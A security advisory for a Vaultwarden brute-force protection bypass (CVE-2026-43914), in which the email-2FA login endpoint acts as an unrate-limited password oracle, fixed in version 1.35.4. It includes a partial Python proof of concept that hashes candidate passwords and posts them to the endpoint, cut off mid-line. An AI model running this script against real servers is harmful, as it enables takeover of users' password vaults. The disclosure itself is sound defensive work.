GHSA-c5rv-q295-7w4g / CVE-2026-43914: Brute-force protection bypass vulnerability
- Published:
- Fetched:
- Updated:
- Affects:
- dani-garcia vaultwarden
https://github.com/dani-garcia/vaultwarden/security/advisories/GHSA-c5rv-q295-7w4g ↗
Brute-force protection bypass vulnerability ### Summary There is a brute-force protection bypass vulnerability in Vaultwarden before version 1.35.4 if email 2fa is enabled. ### Details There is a security vulnerability in Vaultwarden before version 1.35.4 that allows bypassing the login brute-force protection if email 2fa is enabled. You implement the function `check_limit_login` to rate-limit failed logins. This function protects `_sso_login`, `_password_login` and `_api_key_login`. However, if email 2fa is enabled, the unprotected 2fa-function `send_email_login` (email.rs, api endpoint `/api/two-factor/send-email-login`) also acts as an oracle determining whether a username-password combination is correct. An attacker can abuse that endpoint to brute-force passwords without rate-limiting. This works even for users who don't have email 2fa configured. If the username-password combination is correct, this endpoint returns a status_code 200 (and sends a 2fa code via email to the victim) or returns the message "Two factor not found". If the username-password combination is wrong, it returns "Username or password is incorrect". This method doesn't work if email 2FA isn't enabled. I've attached a small Python PoC script (as txt file due to mail filtering) that demonstrates this brute-force attack. It's hard-coded with the default sha256-pbkdf using 600k iterations. A better PoC would dynamically retrieve the pbkdf and the iteration count from /identity/accounts/prelogin for each target user individually. My recommendation would be to include the `check_limit_login` in the function `send_email_login`. This vulnerability was fixed in [PR 6867](https://github.com/dani-garcia/vaultwarden/pull/6867) resp. [Version 1.35.4](https://github.com/dani-garcia/vaultwarden/releases/tag/1.35.4). ### PoC ``` import base64 import hashlib import requests import random import string def vw_hash_pbkdf2(email: str, password: str, iterations: int) -> str: salt = email.strip().lower().encode("utf-8") master_key = hashlib.pbkdf2_hmac("sha256", password.encode("utf-8"), salt, iterations, dklen=32) master_password_hash = hashlib.pbkdf2_hmac("sha256", master_key, password.encode("utf-8"), 1, dklen=32) return base64.b64encode(master_password_hash).decode("ascii") def bruteforce_passwords(target_url, target_user, bruteforce_candidates, iterations): for candidate in bruteforce_candidates: candidate_hash = vw_hash_pbkdf2(target_user, candidate, iterations) data = dict() data["email"] = target_user data["masterPasswordHash"] = candidate_hash data["deviceIdentifier"] = "x" # dummy value is fine result = requests.post(f"{target_url}/api/two-factor/send-email-login", json=data) if result.status_code == 400 and "Username or password is incorrect" in result.text: print("[-] Password wrong. Trying next...") elif result.status_code == 400 and "Email 2FA is disabled" in res Affected packages: :vaultwarden Patched: vaultwarden 1.35.4